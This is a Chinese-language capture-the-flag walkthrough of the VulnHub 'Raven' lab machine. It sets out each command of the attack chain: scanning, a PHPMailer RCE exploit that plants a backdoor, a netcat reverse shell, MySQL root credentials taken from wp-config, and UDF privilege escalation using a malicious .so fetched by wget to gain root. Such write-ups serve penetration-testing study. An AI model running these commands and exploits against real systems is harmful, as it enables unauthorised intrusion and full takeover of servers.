靶机地址:Vulnerable By Design ~ VulnHub
1、Raven考察点:
1)信息收集:
1、nmap挖掘信息。2、页面爆破(dirb)。3、页面信息枚举。
2)webshell:
根据页面得到的信息获取web服务名称及版本(PHPMailer),然后获取shell
3)提权:
1、信息收集。2、mysql-UD提权(do_system)
渗透过程:
1、将靶机下载后,导入虚拟机并开启。
2、打开kali,使用nmap对同一网段进行主机发现。
nmap -sP 192.168.44.1/24 (nmap的参数可以去看补充说明的那篇文章)
3、本机ip地址为192.168.44.129,发现同网段下的192.168.44.128,判断该ip地址即为靶机地址。利用nmap探查该ip地址开放的端口号。
nmap -p- 192.168.44.128
发现如下:
开放了22端口,可以考虑ssh爆破,开放80端口说明存在web端服务,剩下两个端口目前还不知道是什么服务。
4、在浏览器输入靶机ip地址,发现:
这里可以在页面上随便点,收集一些有用的信息,发现并没有什么有用的信息。(常规思路)
5、 下面进行页面的目录枚举,利用dirb:
dirb http://192.168.44.128
发现枚举出了如下的目录:
输入相应的目录发现:
发现了它的web文件夹里的一些东西,这里我们可以随便点点,收集一些有用的信息,点开PATH发现了flag1的存在。这说明还有其他flag2、3或者更多的存在。
点击License,没什么发现,点击ReadMe,发现了PHPMailer
点击SECURITY发现了PHPMailer的一些相关漏洞
点击VERSION发现了版本号5.2.16
自此,vendor的有用信息收集到这么多,其他的文件也可以点进去看看,其实也没什么发现。
6、输入刚才枚举出的另一个目录,发现好像也没有什么可以利用的,但是看到了有Log in
结合着之前扫描出的22端口,利用cewl去生成该页面的字典,说不定可以爆破ssh的用户名和密码,这里是另一个思路,经过尝试,爆不出相应的用户名和密码,这个思路就先到这。
7、然后利用在vendor里的信息,去浏览器搜索 关于PHPMailer 5.2.16 的exp
发现了远程代码指令的漏洞,ID为40974:
在Kali中搜索ID为40974的漏洞利用代码。输入searchsploit 40974
然后定位到这个利用文件的位置:输入locate php/webapps/40974.py
将该文件复制到/home/kali路径下
然后根据之前在浏览器中的提示,修改该文件的target、payload中ip地址和端口号,还有fields中的email文件地址。
target是靶机地址,payload中的ip地址是kali本机地址,端口号自由设定,email文件地址是用来放后门文件的位置,根据之前vendor的信息收集发现了在/var/www/html/ 具体如下:
然后利用python3 40974.py执行即可
这里130,是因为我重新将ip地址更新了,40974.py中的target的ip地址也更改为130了。此处说明后门已经写入这个网站。
8、下面就可以开启之前在.py文件中写入的端口号进行监听,然后利用自己的后门文件去访问这个网站。输入:
nc -lvp 5656 #这边端口重新修改一下
浏览器输入192.168.44.130/xiaoli1.php #因为之前我已经放入了一个后门文件,现在我重新生成一个
观察到,已经与后门连接上了
这里反弹了个shell,输入python -c 'import pty;pty.spawn("/bin/bash")',改变一下
这里只是一个普通用户,利用find命令查找一下看看有没有和flag相关的文件,输入
find / -name flag*
这边发现了个flag2和一个flag3的路径
直接cat 上面的路径得到flag2,浏览器输入地址得到flag3
www-data@Raven:/var/www$ cat flag2.txt
cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
这只是普通用户权限,查找到的东西有限,下面就要进行提权了
8、提权
下面先进到wordpress目录下,发现有wp-config文件,优先查看配置文件,可能存在用户名和密码之类的重要信息。输入:
grep "password" -rn wp-config.php 查找该文件中是否存在password
发现第28行是有mysql的密码存在,查看此文件
发现用户名是root密码是R@v3nSecurity,利用用户名和密码登录mysql:
mysql -uroot -pR@v3nSecurity
登陆后先查看下mysql数据库的版本
然后show一下存在的数据库,show databases;
use wordpress,切换至wordpress数据库,show一下存在的表,然后用select * from wp_users;
这有两个用户,有两个密文密码,如果破解不了,就先放着。
mysql的经典提权:UDF 提权、MOF 提权是非常经典的提权方法!
9、查看能否用UDF提权
验证UDF提权的前提是mysql是root权限运行,mysql的版本是5.5.6的,输入
show global variables like 'secure%';
查看mysql底层是否能用UDF提权,发现
注:
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
下面查看下是否在上面说到的目录下:
show variables like '%plugin%';
10、这里有两个思路,查看mysql是否可以远程访问,如果可以,后面提权的时候直接可以用MSF进行操作,如果不能,则只能在本地执行。
切换到mysql数据库中,use mysql;然后查看哪些用户可以远程访问,select user,host from user;
发现只能本地访问,和root访问,所以远程的就可以pass了。
11、浏览器搜索mysql 5.x UDF exploit
ID号为1518,在kali中查找此漏洞
将其定位,然后复制到/home/kali,这里基本操作就不赘述了
下一步,对1518.c编译,gcc -g -c 1518.c
然后再次编译一下,生成个.so文件
gcc -g -shared -o xiaoli.so 1518.o -lc
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
开启kali的http.server服务
python -m http.server 8088
然后回到连接的shell,进到tmp目录下,使用wget http://192.168.44.129:8088/xiaoli.so,下载这个恶意的.so文件
下一步进入mysql,进到mysql的数据库,show tables;然后重新创建一个表,我这里创建的xiaoli
接下来要给xiaoli的表中插入之前下载的xiaoli.so的恶意文件
insert into xiaoli values(load_file('/tmp/xiaoli.so'));
显示插入成功!
然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
select * from xiaoli into dumpfile '/usr/lib/mysql/plugin/xiaoli.so';
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'xiaoli.so';
查看以下创建的函数:
select * from mysql.func;
创建成功!
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');
执行find命令
使用find执行 shell
touch xiaoli
find xiaoli -exec "/bin/sh" \;或者:find xiaoli -exec "id" \;
cd /root
获取了root权限,进到root目录下发现了flag4
自此,flag1234全部获得,本次渗透项目圆满结束!
真滴不容易啊,这个靶场容易崩,好几次,我都重新启动这个虚拟机!!!
不过还好,最后还是完成了本次渗透获得了flag。
总结一下,渗透思路比攻击的过程更值得记录,拥有一个灵活的渗透思路,在发现一条路堵死的时候,可以跳出刚才的想法,换另一种思路,继续完成任务。这才是值得深思的问题。继续努力,继续学习~后期将更新渗透项目(四)。